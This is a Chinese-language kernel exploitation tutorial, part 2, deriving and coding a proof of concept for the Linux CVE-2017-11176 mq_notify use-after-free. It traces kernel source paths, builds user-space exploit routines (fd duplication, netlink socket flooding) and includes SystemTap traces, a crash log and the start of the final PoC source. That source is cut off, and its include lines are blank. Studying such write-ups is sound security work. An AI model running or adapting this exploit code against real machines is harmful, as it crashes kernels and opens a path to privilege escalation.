linux 漏洞 poc,CVE-2017-11176: 一步一步linux内核漏洞利用 (二)(PoC)
使第二次循環中的fget()返回NULL
到目前為止,在用戶態下滿足了觸發漏洞的三個條件之一。TODO:
使netlink_attachskb()返回1
[DONE]exp線程解除阻塞
使第二次fget()調用返回NULL
在本節中,將嘗試使第二次fget()調用返回NULL。這會使得在第二個循環期間跳到“退出路徑”:
retry:
filp = fget(notification.sigev_signo);
if (!filp) {
ret = -EBADF;
goto out; //
}
為什么fget()會返回NULL?
通過System Tap,可以看到重置FDT中的對應文件描述符會使得fget()返回NULL:
struct files_struct *files = current->files;
struct fdtable *fdt = files_fdtable(files);
fdt->fd[3] = NULL; // makes the second call to fget() fails
fget()的作用:
檢索當前進程的“struct files_struct”
在files_struct中檢索“struct fdtable”
獲得“fdt->fd[fd]”的值(一個“struct file”指針)
“struct file”的引用計數(如果不為NULL)加1
返回“struct file”指針
簡而言之,如果特定文件描述符在FDT中為NULL,則fget()返回NULL。
NOTE:如果不記得所有這些結構之間的關系,請參考Core Concept#1。
重置文件描述符表中的條目
在stap腳本中,重置了文件描述符“3”的fdt條目(參見上一節)。怎么在用戶態下做到這點?如何將FDT條目設置為NULL?答案:close()系統調用。
這是一個簡化版本(沒有鎖也沒有出錯處理):
// [fs/open.c]
SYSCALL_DEFINE1(close, unsigned int, fd)
{
struct file * filp;
struct files_struct *files = current->files;
struct fdtable *fdt;
int retval;
[0] fdt = files_fdtable(files);
[1] filp = fdt->fd[fd];
[2] rcu_assign_pointer(fdt->fd[fd], NULL); // fd[fd] = NULL
[3] retval = filp_close(filp, files);
return retval;
}
close()系統調用:
[0] - 檢索當前進程的FDT
[1] - 檢索FDT中與fd關聯的struct file指針
[2] - 將FDT對應條目置為NULL(無條件)
[3] - 文件對象刪除引用(即調用fput())
我們有了一個簡單的方法(無條件地)重置FDT條目。然而,它帶來了另一個問題......
先有蛋還是先有雞問題
在unblock_thread線程調用setsockopt()之前調用close()非常誘人。問題是setsockopt()需要一個有效的文件描述符!已經通過system tap嘗試過。在用戶態下同樣遇到了這個問題......
在調用setsocktopt()之后再調用close()會怎么樣?如果我們在調用setsockopt()(解除主線程阻塞)之后再調用close(),窗口期就會很小。
幸運的是有一種方法!在Core Concept#1中,已經說過文件描述符表不是1:1映射。幾個文件描述符可能指向同一個文件對象。如何使兩個文件描述符指向相同的文件對象?dup()系統調用。
// [fs/fcntl.c]
SYSCALL_DEFINE1(dup, unsigned int, fildes)
{
int ret = -EBADF;
[0] struct file *file = fget(fildes);
if (file) {
[1] ret = get_unused_fd();
if (ret >= 0)
[2] fd_install(ret, file); // files->fdt->fd[ret] = file
else
fput(file);
}
[3] return ret;
}
dup()完全符合要求:
[0] - 根據文件描述符獲取相應的struct file指針。
[1] - 選擇下一個“未使用/可用”的文件描述符。
[2] - 設置fdt中新文件描述符([1]處獲得)對應條目為相應struct file指針([0]處獲得)。
[3] - 返回新的fd。
最后,我們將有兩個文件描述符指向相同文件對象:
sock_fd:在mq_notify()和close()使用
unblock_fd:在setsockopt()中使用
更新exp
更新exp(添加close/dup調用并修改setsockopt()參數):
struct unblock_thread_arg
{
int sock_fd;
int unblock_fd; //
bool is_ready;
};
static void* unblock_thread(void *arg)
{
// ... cut ...
sleep(5); // gives some time for the main thread to block
printf("[unblock] closing %d fd\n", uta->sock_fd);
_close(uta->sock_fd); //
printf("[unblock] unblocking now\n");
if (_setsockopt(uta->unblock_fd, SOL_NETLINK, //
NETLINK_NO_ENOBUFS, &val, sizeof(val)))
perror("setsockopt");
return NULL;
}
int main(void)
{
// ... cut ...
if ((uta.unblock_fd = _dup(uta.sock_fd)) < 0) //
{
perror("dup");
goto fail;
}
printf("[main] netlink fd duplicated = %d\n", uta.unblock_fd);
// ... cut ...
}
刪除stap腳本中重置FDT條目的行,然后運行:
-={ CVE-2017-11176 Exploit }=-
[main] netlink socket created = 3
[main] netlink fd duplicated = 4
[main] creating unblock thread...
[main] unblocking thread has been created!
[main] get ready to block
[unblock] closing 3 fd
[unblock] unblocking now
mq_notify: Bad file descriptor
exploit failed!
<<< KERNEL CRASH >>>
ALERT COBRA:第一次內核崩潰!釋放后重用。
崩潰的原因將在第3部分中進行研究。
長話短說:由于調用了dup(),調用close()不會真的釋放netlink_sock對象(只是減少了一次引用)。netlink_detachskb()實際上刪除netlink_sock的最后一個引用(并釋放它)。最后,在程序退出期間觸發釋放后重用,退出時關閉“unblock_fd”文件描述符。
“retry”路徑
這節會展開部分內核代碼?,F在距離完整的PoC只有一步之遙。
TODO:
使netlink_attachskb()返回1
[DONE]exp線程解除阻塞
[DONE]使第二次fget()調用返回NULL
為了執行到retry路徑,需要netlink_attachskb()返回1,必須要滿足第一個條件并解除線程阻塞(已經做到了):
int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
long *timeo, struct sock *ssk)
{
struct netlink_sock *nlk;
nlk = nlk_sk(sk);
[0] if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state))
{
// ... cut ...
return 1;
}
// normal path
return 0;
}
如果滿足以下條件之一,則條件[0]為真::
sk_rmem_alloc大于sk_rcvbuf
nlk->state最低有效位不為0。
目前通過stap腳本設置“nlk->state”的最低有效位:
struct sock *sk = (void*) STAP_ARG_arg_sock;
struct netlink_sock *nlk = (void*) sk;
nlk->state |= 1;
但是將套接字狀態標記為“擁塞”(最低有效位)比較麻煩,只有內核態下內存分配失敗才會設置這一位。這會使系統進入不穩定狀態。
相反,將嘗試增加sk_rmem_alloc的值,該值表示sk的接收緩沖區“當前”大小。
填充接收緩沖區
在本節中,將嘗試滿足第一個條件,即“接收緩沖區已滿?”:
atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf
struct sock(在netlink_sock中)具有以下字段:
sk_rcvbuf:接收緩沖區“理論上”最大大小(以字節為單位)
sk_rmem_alloc:接收緩沖區的“當前”大小(以字節為單位)
sk_receive_queue:“skb”雙鏈表(網絡緩沖區)
NOTE:sk_rcvbuf是“理論上的”,因為接收緩沖區的“當前”大小實際上可以大于它。
在使用stap(第1部分)輸出netlink sock結構時,有:
- sk->sk_rmem_alloc = 0
- sk->sk_rcvbuf = 133120
有兩種方法使這個條件成立:
將sk_rcvbuf減小到0以下(sk_rcvbuf是整型(在我們使用的內核版本中))
將sk_rmem_alloc增加到133120字節大小以上
減少sk_rcvbuf
sk_rcvbuf在所有sock對象中通用,可以通過sock_setsockopt修改(使用SOL_SOCKET參數):
// from [net/core/sock.c]
int sock_setsockopt(struct socket *sock, int level, int optname,
char __user *optval, unsigned int optlen)
{
struct sock *sk = sock->sk;
int val;
// ... cut ...
case SO_RCVBUF:
[0] if (val > sysctl_rmem_max)
val = sysctl_rmem_max;
set_rcvbuf:
sk->sk_userlocks |= SOCK_RCVBUF_LOCK;
[1] if ((val * 2) < SOCK_MIN_RCVBUF)
sk->sk_rcvbuf = SOCK_MIN_RCVBUF;
else
sk->sk_rcvbuf = val * 2;
break;
// ... cut (other options handling) ...
}
當看到這種類型的代碼時,要注意每個表達式的類型。
NOTE:“有符號/無符號類型混用”可能存在許多漏洞,將較大的類型(u64)轉換成較小的類型(u32)時也是如此。這通常會導致整型溢出或類型轉換問題。
在我們使用的內核中有:
sk_rcvbuf:int
val:int
sysctl_rmem_max:__u32
SOCK_MIN_RCVBUF:由于“sizeof()”而“轉變”為size_t
SOCK_MIN_RCVBUF定義:
#define SOCK_MIN_RCVBUF (2048 + sizeof(struct sk_buff))
通常有符號整型與無符號整型混合使用時,有符號整型會轉換成無符號整型。
假設“val”為負數。在[0]處,會被轉換為無符號類型(因為sysctl_rmem_max類型為“__u32”)。val會被置為sysctl_rmem_max(負數轉換成無符號數會很大)。
即使“val”沒有被轉換為“__u32”,也不會滿足第二個條件[1]。最后被限制在[SOCK_MIN_RCVBUF,sysctl_rmem_max]之間(不是負數)。所以只能修改sk_rmem_alloc而不是sk_rcvbuf字段。
回到“正?!甭窂?/p>
現在是時候回到自開始以來一直忽略的東西:mq_notify()“正?!甭窂?。從概念上講,當套接字接收緩沖區已滿時執行“retry路徑”,那么正常情況下可能會填充接收緩沖區。
netlink_attachskb():
int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
long *timeo, struct sock *ssk)
{
struct netlink_sock *nlk;
nlk = nlk_sk(sk);
if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {
// ... cut (retry path) ...
}
skb_set_owner_r(skb, sk); //
return 0;
}
因此,正常情況下會調用skb_set_owner_r():
static inline void skb_set_owner_r(struct sk_buff *skb, struct sock *sk)
{
WARN_ON(skb->destructor);
__skb_orphan(skb);
skb->sk = sk;
skb->destructor = sock_rfree;
[0] atomic_add(skb->truesize, &sk->sk_rmem_alloc); // sk->sk_rmem_alloc += skb->truesize
sk_mem_charge(sk, skb->truesize);
}
skb_set_owner_r()中會使sk_rmem_alloc增加skb->truesize。那么可以多次調用mq_notify()直到接收緩沖區已滿?不幸的是不能這樣做。
在mq_notify()的正常執行過程中,會一開始就創建一個skb(稱為“cookie”),并通過netlink_attachskb()將其附加到netlink_sock,已經介紹過這部分內容。然后netlink_sock和skb都關聯到屬于消息隊列的“mqueue_inode_info”(參考mq_notify的正常路徑)。
問題是一次只能有一個(cookie)“skb”與mqueue_inode_info相關聯。第二次調用mq_notify()將會失敗并返回“-EBUSY”錯誤。只能增加sk_rmem_alloc一次(對于給定的消息隊列),并不足以(只有32個字節)使它大于sk_rcvbuf。
實際上可能可以創建多個消息隊列,有多個mqueue_inode_info對象并多次調用mq_notify()?;蛘咭部梢允褂胢q_timedsend()系統調用將消息推送到隊列中。只是不想在這里研究另一個子系統(mqueue),并且堅持使用“通用的”內核路徑(sendmsg),所以我們不會這樣做。
可以通過skb_set_owner_r()增加sk_rmem_alloc。
netlink_unicast()
netlink_attachskb()可能會通過調用skb_set_owner_r()增加sk_rmem_alloc。netlink_attachskb()函數可以由netlink_unicast()調用。讓我們做一個自底向上的分析來檢查如何系統調用到netlink_unicast():
- skb_set_owner_r
- netlink_attachskb
- netlink_unicast
- netlink_sendmsg // there is a lots of "other" callers of netlink_unicast
- sock->ops->sendmsg()
- __sock_sendmsg_nosec()
- __sock_sendmsg()
- sock_sendmsg()
- __sys_sendmsg()
- SYSCALL_DEFINE3(sendmsg, ...)
因為netlink_sendmsg()是netlink套接字的proto_ops(核心概念#1),所以可以通過sendmsg()調用它。
從sendmsg()系統調用到sendmsg的proto_ops(sock->ops->sendmsg())的通用代碼路徑將在第3部分中詳細介紹?,F在先假設可以很輕易調用netlink_sendmsg()。
從netlink_sendmsg()到netlink_unicast()
sendmsg()系統調用聲明:
size_t sendmsg (int sockfd , const struct msghdr * msg , int flags );
在msg和flags參數中設置對應值從而調用netlink_unicast();
struct msghdr {
void *msg_name; /* optional address */
socklen_t msg_namelen; /* size of address */
struct iovec *msg_iov; /* scatter/gather array */
size_t msg_iovlen; /* # elements in msg_iov */
void *msg_control; /* ancillary data, see below */
size_t msg_controllen; /* ancillary data buffer len */
int msg_flags; /* flags on received message */
};
struct iovec
{
void __user *iov_base;
__kernel_size_t iov_len;
};
在本節中,將從代碼推斷參數值,并逐步建立我們的“約束”列表。這樣做會使內核執行我們想要的路徑。這就是內核漏洞利用的本質。在函數的末尾處才會調用netlink_unicast()。需要滿足所有條件......
static int netlink_sendmsg(struct kiocb *kiocb, struct socket *sock,
struct msghdr *msg, size_t len)
{
struct sock_iocb *siocb = kiocb_to_siocb(kiocb);
struct sock *sk = sock->sk;
struct netlink_sock *nlk = nlk_sk(sk);
struct sockaddr_nl *addr = msg->msg_name;
u32 dst_pid;
u32 dst_group;
struct sk_buff *skb;
int err;
struct scm_cookie scm;
u32 netlink_skb_flags = 0;
[0] if (msg->msg_flags&MSG_OOB)
return -EOPNOTSUPP;
[1] if (NULL == siocb->scm)
siocb->scm = &scm;
err = scm_send(sock, msg, siocb->scm, true);
[2] if (err < 0)
return err;
// ... cut ...
err = netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT); //
out:
scm_destroy(siocb->scm);
return err;
}
不設置MSG_OOB標志以滿足[0]處條件。這是第一個約束:msg->msg_flags沒有設置MSG_OOB。
[1]處的條件為真,因為在__sock_sendmsg_nosec()中會將“siocb->scm”置為NULL。最后,scm_send()返回值非負[2],代碼:
static __inline__ int scm_send(struct socket *sock, struct msghdr *msg,
struct scm_cookie *scm, bool forcecreds)
{
memset(scm, 0, sizeof(*scm));
if (forcecreds)
scm_set_cred(scm, task_tgid(current), current_cred());
unix_get_peersec_dgram(sock, scm);
if (msg->msg_controllen <= 0) //
return 0; //
return __scm_send(sock, msg, scm);
}
第二個約束:msg->msg_controllen等于零(類型為size_t,沒有負值)。
繼續:
// ... netlink_sendmsg() continuation ...
[0] if (msg->msg_namelen) {
err = -EINVAL;
[1] if (addr->nl_family != AF_NETLINK)
goto out;
[2a] dst_pid = addr->nl_pid;
[2b] dst_group = ffs(addr->nl_groups);
err = -EPERM;
[3] if ((dst_group || dst_pid) && !netlink_allowed(sock, NL_NONROOT_SEND))
goto out;
netlink_skb_flags |= NETLINK_SKB_DST;
} else {
dst_pid = nlk->dst_pid;
dst_group = nlk->dst_group;
}
// ... cut ...
這個有點棘手。這塊代碼取決于“sender”套接字是否已連接到目標(receiver)套接字。如果已連接,則“nlk->dst_pid”和“nlk->dst_group”都已被賦值。但是這里不想連接到receiver套接字(有副作用),所以會采取第一個分支。msg->msg_namelen不為零[0]。
看一下函數的開頭部分,“addr”是另一個可控的參數:msg->msg_name。通過[2a]和[2b],可以選擇任意的“dst_group”和“dst_pid”。控制這些可以做到:
dst_group == 0:發送單播消息而不是廣播(參考man 7 netlink)
dst_pid!= 0:與我們選擇的receiver套接字(用戶態)通信。0代表“與內核通信”(閱讀手冊!)。
將其轉換成約束條件(msg_name被轉換為sockaddr_nl類型):
msg->msg_name->dst_group 等于零
msg->msg_name->dst_pid 等于“目標”套接字的nl_pid
這里還有一個隱含的條件是netlink_allowed(sock,NL_NONROOT_SEND) [3]返回非零值:
static inline int netlink_allowed(const struct socket *sock, unsigned int flag)
{
return (nl_table[sock->sk->sk_protocol].flags & flag) || capable(CAP_NET_ADMIN));
}
因為運行exp的用戶是非特權用戶,所以沒有CAP_NET_ADMIN。唯一設置了“NL_NONROOT_SEND”標志的“netlink協議”是NETLINK_USERSOCK。所以“sender”套接字必須具有NETLINK_USERSOCK協議。
另外[1],需要使msg->msg_name->nl_family等于AF_NETLINK。
繼續:
[0] if (!nlk->pid) {
[1] err = netlink_autobind(sock);
if (err)
goto out;
}
無法控制[0]處的條件,因為在套接字創建期間,套接字的pid會被設置為零(整個結構體由sk_alloc()清零)。后面會討論這點,現在先假設netlink_autobind() [1]會為sender套接字找到“可用”的pid并且不會出錯。在第二次調用sendmsg()時將不滿足條件[0],此時已經設置“nlk->pid”。繼續:
err = -EMSGSIZE;
[0] if (len > sk->sk_sndbuf - 32)
goto out;
err = -ENOBUFS;
skb = alloc_skb(len, GFP_KERNEL);
[1] if (skb == NULL)
goto out;
“len”在__sys_sendmsg()中計算。這是“所有iovec長度的總和”。因此,所有iovecs的長度總和必須小于sk->sk_sndbuf減去32[0]。為了簡單起見,將使用單個iovec:
msg->msg_iovlen等于1 //單個iovec
msg->msg_iov->iov_len小于等于sk->sk_sndbuf減去32
msg->msg_iov->iov_base必須是用戶空間可讀 //否則__sys_sendmsg()將出錯
最后一個約束意味著msg->msg_iov也必須指向用戶空間可讀區域(否則__sys_sendmsg()將出錯)。
NOTE:“sk_sndbuf”等同于“sk_rcvbuf”但指的是發送緩沖區??梢酝ㄟ^sock_getsockopt()“SO_SNDBUF”參數獲得它的值。
[1]處的條件不應該為真。如果為真,則意味著內核當前耗盡了內存并且處于對exp來說很糟的狀態。不應該繼續執行exp,否則很可能會失敗,更糟的是會內核崩潰!
可以忽略下一個代碼塊(不需要滿足任何條件),“siocb->scm”結構體由scm_send()初始化:
NETLINK_CB(skb).pid = nlk->pid;
NETLINK_CB(skb).dst_group = dst_group;
memcpy(NETLINK_CREDS(skb), &siocb->scm->creds, sizeof(struct ucred));
NETLINK_CB(skb).flags = netlink_skb_flags;
繼續:
err = -EFAULT;
[0] if (memcpy_fromiovec(skb_put(skb, len), msg->msg_iov, len)) {
kfree_skb(skb);
goto out;
}
[0]處的檢查不會有問題,已經提供可讀的iovec,否則之前的__sys_sendmsg()就已經出錯(前一個約束)。
[0] err = security_netlink_send(sk, skb);
if (err) {
kfree_skb(skb);
goto out;
}
Linux安全模塊(LSM,例如SELinux)檢查。如果無法滿足此條件,那就需要找另一條路徑來執行netlink_unicast()或另一種方法來增加“sk_rmem_alloc”(提示:也許可以嘗試netlink_dump())。假設在目標機器上滿足此條件。
最后:
[0] if (dst_group) {
atomic_inc(&skb->users);
netlink_broadcast(sk, skb, dst_pid, dst_group, GFP_KERNEL);
}
[1] err = netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT);
還記得之前將“dst_group”賦值為"msg->msg_name->dst_group"吧。由于它為零,將跳過[0]處代碼... 最后調用netlink_unicast()!
總結一下從netlink_sendmsg()執行到netlink_unicast()所要滿足的條件:
msg->msg_flags沒有設置MSG_OOB
msg->msg_controllen等于0
msg->msg_namelen不為0
msg->msg_name->nl_family等于AF_NETLINK
msg->msg_name->nl_groups等于0
msg->msg_name->nl_pid不為0,指向receiver套接字
sender套接字必須使用NETLINK_USERSOCK協議
msg->msg_iovlen等于1
msg->msg_iov是一個可讀的用戶態地址
msg->msg_iov->iov_len小于等于sk_sndbuf減32
msg->msg_iov->iov_base是一個可讀的用戶態地址
這是內核漏洞利用的部分過程。分析每個檢查,強制執行特定的內核路徑,定制系統調用參數等。實際上,建立此約束條件列表的時間并不長。有些路徑比這更復雜。
繼續前進,下一步是netlink_attachskb()。
從netlink_unicast()到netlink_attachskb()
這個應該比前一個更容易。通過以下參數調用netlink_unicast():
netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT);
sk是sender套接字
skb是套接字緩沖區,由msg->msg_iov->iov_base指向的數據填充,大小為msg->msg_iov->iov_len
dst_pid是可控的pid(msg->msg_name->nl_pid)指向receiver套接字
msg->msg_flasg&MSG_DONTWAIT表示netlink_unicast()是否應阻塞
WARNING:在netlink_unicast()代碼中,“ssk”是sender套接字,“sk”是receiver套接字。
netlink_unicast()代碼:
int netlink_unicast(struct sock *ssk, struct sk_buff *skb,
u32 pid, int nonblock)
{
struct sock *sk;
int err;
long timeo;
skb = netlink_trim(skb, gfp_any()); //
[0] timeo = sock_sndtimeo(ssk, nonblock);
retry:
[1] sk = netlink_getsockbypid(ssk, pid);
if (IS_ERR(sk)) {
kfree_skb(skb);
return PTR_ERR(sk);
}
[2] if (netlink_is_kernel(sk))
return netlink_unicast_kernel(sk, skb, ssk);
[3] if (sk_filter(sk, skb)) {
err = skb->len;
kfree_skb(skb);
sock_put(sk);
return err;
}
[4] err = netlink_attachskb(sk, skb, &timeo, ssk);
if (err == 1)
goto retry;
if (err)
return err;
[5] return netlink_sendskb(sk, skb);
}
在[0]處,sock_sndtimeo()根據nonblock參數設置timeo(超時)的值。由于我們不想阻塞(nonblock>0),timeo將為零。msg->msg_flags必須設置MSG_DONTWAIT。
在[1]處,根據pid獲得receiver套接字“sk”。在下一節中會有說明,在通過netlink_getsockbypid()獲得receiver套接字之前需要先將其綁定。
在[2]處,receiver套接字不能是“內核”套接字。如果一個netlink套接字 設置了NETLINK_KERNEL_SOCKET標志,則它被標記為“內核”套接字,這些套接字通過netlink_kernel_create()函數創建。不幸的是,NETLINK_GENERIC協議就是其中之一。所以需要將receiver套接字協議更改為NETLINK_USERSOCK。
在[3]處,BPF套接字過濾器可能正在生效。但如果沒有為receiver套接字創建任何BPF過濾器,則可以不用管它。
在[4]處調用了netlink_attachskb()!在netlink_attachskb()中,確保執行下列路徑之一:
receiver緩沖區未滿:調用skb_set_owner_r() -> 增加sk_rmem_alloc
receiver緩沖區已滿:netlink_attachskb()不阻塞直接返回-EAGAIN
可以知道何時接收緩沖區已滿(只需要檢查sendmsg()的錯誤代碼)。
最后,在[5]處調用netlink_sendskb()將skb添加到接收緩沖區列表中,并刪除通過netlink_getsockbypid()獲取的(receiver套接字)引用。好極了!:-)
更新約束列表:
msg->msg_flags設置MSG_DONTWAIT
receiver套接字必須在調用sendmsg()之前綁定
receiver套接字必須使用NETLINK_USERSOCK協議
不要為receiver套接字定義任何BPF過濾器
現在非常接近完整的PoC。只要綁定receiver套接字就好了。
綁定receiver套接字
與任何套接字通信一樣,兩個套接字可以使用“地址”進行通信。由于正在使用netlink套接字,在這里將使用“struct sockaddr_nl”類型:
struct sockaddr_nl {
sa_family_t nl_family; /* AF_NETLINK */
unsigned short nl_pad; /* Zero. */
pid_t nl_pid; /* Port ID. */
__u32 nl_groups; /* Multicast groups mask. */
};
由于不想成為“廣播組”的一部分,因此nl_groups必須為0。這里唯一重要的字段是“nl_pid”。
基本上,netlink_bind()有兩條路徑:
nl_pid不為0:調用netlink_insert()
nl_pid為0:調用netlink_autobind(),后者又調用netlink_insert()
如果使用已分配的pid調用netlink_insert()將產生“-EADDRINUSE”錯誤。否則會在nl_pid和netlink套接字 之間創建映射關系。即現在可以通過netlink_getsockbypid()獲得netlink套接字。此外,netlink_insert()會將套接字引用計數加1。在最后的PoC中這一點很重要。
NOTE:第4部分將詳細介紹“pid:netlink_sock”映射存儲方式。
雖然調用netlink_autobind()更自然一點,但我們實際上是通過不斷嘗試pid值(autobind的作用,找當前未使用的pid值)來模擬netlink_autobind功能(不知道為什么這樣做...主要是懶...),直到bind()成功。這樣做允許我們直接獲取目標nl_pid值而不調用getsockname(),并且(可能)簡化調試(不確定:-))。
譯者注:本來應該nl_pid為0,然后調用bind的,但原文作者直接設置nl_pid為118然后不斷遞增嘗試bind(),直到成功。netlink_autobind應該會獲取當前未使用的pid值。
整合
確定所有執行路徑花了很長時間,但現在是時候在exp中實現這一部分并最終達成目標:netlink_attachskb()返回1!
步驟:
創建兩個AF_NETLINK套接字使用NETLINK_USERSOCK協議
綁定目標(receiver)套接字(最后它的接收緩沖區必須已滿)
[可選]嘗試減少目標套接字的接收緩沖區(減少調用sendmsg())
sender套接字通過sendmsg()像目標套接字發送大量數據,直到返回EAGAIN錯誤
關閉sender套接字(不再需要)
可以獨立運行下面代碼以驗證一切正常:
static int prepare_blocking_socket(void)
{
int send_fd;
int recv_fd;
char buf[1024*10]; // should be less than (sk->sk_sndbuf - 32), you can use getsockopt()
int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF
struct sockaddr_nl addr = {
.nl_family = AF_NETLINK,
.nl_pad = 0,
.nl_pid = 118, // must different than zero
.nl_groups = 0 // no groups
};
struct iovec iov = {
.iov_base = buf,
.iov_len = sizeof(buf)
};
struct msghdr mhdr = {
.msg_name = &addr,
.msg_namelen = sizeof(addr),
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = NULL,
.msg_controllen = 0,
.msg_flags = 0,
};
printf("[ ] preparing blocking netlink socket\n");
if ((send_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0 ||
(recv_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0)
{
perror("socket");
goto fail;
}
printf("[+] socket created (send_fd = %d, recv_fd = %d)\n", send_fd, recv_fd);
// simulate netlink_autobind()
while (_bind(recv_fd, (struct sockaddr*)&addr, sizeof(addr)))
{
if (errno != EADDRINUSE)
{
perror("[-] bind");
goto fail;
}
addr.nl_pid++;
}
printf("[+] netlink socket bound (nl_pid=%d)\n", addr.nl_pid);
if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))
perror("[-] setsockopt"); // no worry if it fails, it is just an optim.
else
printf("[+] receive buffer reduced\n");
printf("[ ] flooding socket\n");
while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0) //
;
if (errno != EAGAIN) //
{
perror("[-] sendmsg");
goto fail;
}
printf("[+] flood completed\n");
_close(send_fd);
printf("[+] blocking socket ready\n");
return recv_fd;
fail:
printf("[-] failed to prepare block socket\n");
return -1;
}
通過system tap檢查結果。從現在開始,System Tap僅用于觀察內核,不再修改任何內容。請記得刪除將套接字標記為阻塞的行,然后運行:
(2768-2768) [SYSCALL] ==>> sendmsg (3, 0x7ffe69f94b50, MSG_DONTWAIT)
(2768-2768) [uland] ==>> copy_from_user ()
(2768-2768) [uland] ==>> copy_from_user ()
(2768-2768) [uland] ==>> copy_from_user ()
(2768-2768) [netlink] ==>> netlink_sendmsg (kiocb=0xffff880006137bb8 sock=0xffff88002fdba0c0 msg=0xffff880006137f18 len=0x2800)
(socket=0xffff88002fdba0c0)->sk->sk_refcnt = 1
(2768-2768) [netlink] ==>> netlink_autobind (sock=0xffff88002fdba0c0)
(2768-2768) [netlink] <<== netlink_autobind = 0
(2768-2768) [skb] ==>> alloc_skb (priority=0xd0 size=?)
(2768-2768) [skb] ==>> skb_put (skb=0xffff88003d298840 len=0x2800)
(2768-2768) [skb] <<== skb_put = ffff880006150000
(2768-2768) [iovec] ==>> memcpy_fromiovec (kdata=0xffff880006150000 iov=0xffff880006137da8 len=0x2800)
(2768-2768) [uland] ==>> copy_from_user ()
(2768-2768) [iovec] <<== memcpy_fromiovec = 0
(2768-2768) [netlink] ==>> netlink_unicast (ssk=0xffff880006173c00 skb=0xffff88003d298840 pid=0x76 nonblock=0x40)
(2768-2768) [netlink] ==>> netlink_lookup (pid=? protocol=? net=?)
(2768-2768) [sk] ==>> sk_filter (sk=0xffff88002f89ac00 skb=0xffff88003d298840)
(2768-2768) [sk] <<== sk_filter = 0
(2768-2768) [netlink] ==>> netlink_attachskb (sk=0xffff88002f89ac00 skb=0xffff88003d298840 timeo=0xffff880006137ae0 ssk=0xffff880006173c00)
-={ dump_netlink_sock: 0xffff88002f89ac00 }=-
- sk = 0xffff88002f89ac00
- sk->sk_rmem_alloc = 0 //
- sk->sk_rcvbuf = 2312 //
- sk->sk_refcnt = 3
- nlk->state = 0
- sk->sk_flags = 100
-={ dump_netlink_sock: END}=-
(2768-2768) [netlink] <<== netlink_attachskb = 0
-={ dump_netlink_sock: 0xffff88002f89ac00 }=-
- sk = 0xffff88002f89ac00
- sk->sk_rmem_alloc = 10504 //
- sk->sk_rcvbuf = 2312 //
- sk->sk_refcnt = 3
- nlk->state = 0
- sk->sk_flags = 100
-={ dump_netlink_sock: END}=-
(2768-2768) [netlink] <<== netlink_unicast = 2800
(2768-2768) [netlink] <<== netlink_sendmsg = 2800
(2768-2768) [SYSCALL] <<== sendmsg= 10240
現在滿足了“接收緩沖區已滿”的條件(sk_rmem_alloc>sk_rcvbuf)。下一次調用mq_attachskb()將返回1!
更新TODO列表:
[DONE]使netlink_attachskb()返回1
[DONE]exp線程解除阻塞
[DONE]使第二次fget()調用返回NULL
全部做完了?還差一點...
最終PoC
在最后三節中,編寫用戶態代碼實現了觸發漏洞所需的每個條件。在展示最終的PoC之前,還有一件事要做。
netlink_insert()會增加套接字引用計數,所以在進入mq_notify()之前,套接字引用計數為2(而不是1),所以需要觸發漏洞兩次!
在觸發漏洞之前,通過dup()產生新的fd來解鎖主線程。需要dup()兩次(因為舊的會被關閉),所以最后可以保持一個fd解除阻塞,另一個fd來觸發漏洞。
"Show me the code!"
最終PoC(不要運行system tap):
/*
* CVE-2017-11176 Proof-of-concept code by LEXFO.
*
* Compile with:
*
* gcc -fpic -O0 -std=c99 -Wall -pthread exploit.c -o exploit
*/
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================
#define NOTIFY_COOKIE_LEN (32)
#define SOL_NETLINK (270) // from [include/linux/socket.h]
// ----------------------------------------------------------------------------
// avoid library wrappers
#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)
#define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)
#define _setsockopt(sockfd, level, optname, optval, optlen) \
syscall(__NR_setsockopt, sockfd, level, optname, optval, optlen)
#define _getsockopt(sockfd, level, optname, optval, optlen) \
syscall(__NR_getsockopt, sockfd, level, optname, optval, optlen)
#define _dup(oldfd) syscall(__NR_dup, oldfd)
#define _close(fd) syscall(__NR_close, fd)
#define _sendmsg(sockfd, msg, flags) syscall(__NR_sendmsg, sockfd, msg, flags)
#define _bind(sockfd, addr, addrlen) syscall(__NR_bind, sockfd, addr, addrlen)
// ----------------------------------------------------------------------------
#define PRESS_KEY() \
do { printf("[ ] press key to continue...\n"); getchar(); } while(0)
// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================
struct unblock_thread_arg
{
int sock_fd;
int unblock_fd;
bool is_ready; // we can use pthread barrier instead
};
// ----------------------------------------------------------------------------
static void* unblock_thread(void *arg)
{
struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg;
int val = 3535; // need to be different than zero
// notify the main thread that the unblock thread has been created. It *must*
// directly call mq_notify().
uta->is_ready = true;
sleep(5); // gives some time for the main thread to block
printf("[ ][unblock] closing %d fd\n", uta->sock_fd);
_close(uta->sock_fd);
printf("[ ][unblock] unblocking now\n");
if (_setsockopt(uta->unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))
perror("[+] setsockopt");
return NULL;
}
// ----------------------------------------------------------------------------
static int decrease_sock_refcounter(int sock_fd, int unblock_fd)
{
pthread_t tid;
struct sigevent sigev;
struct unblock_thread_arg uta;
char sival_buffer[NOTIFY_COOKIE_LEN];
// initialize the unblock thread arguments
uta.sock_fd = sock_fd;
uta.unblock_fd = unblock_fd;
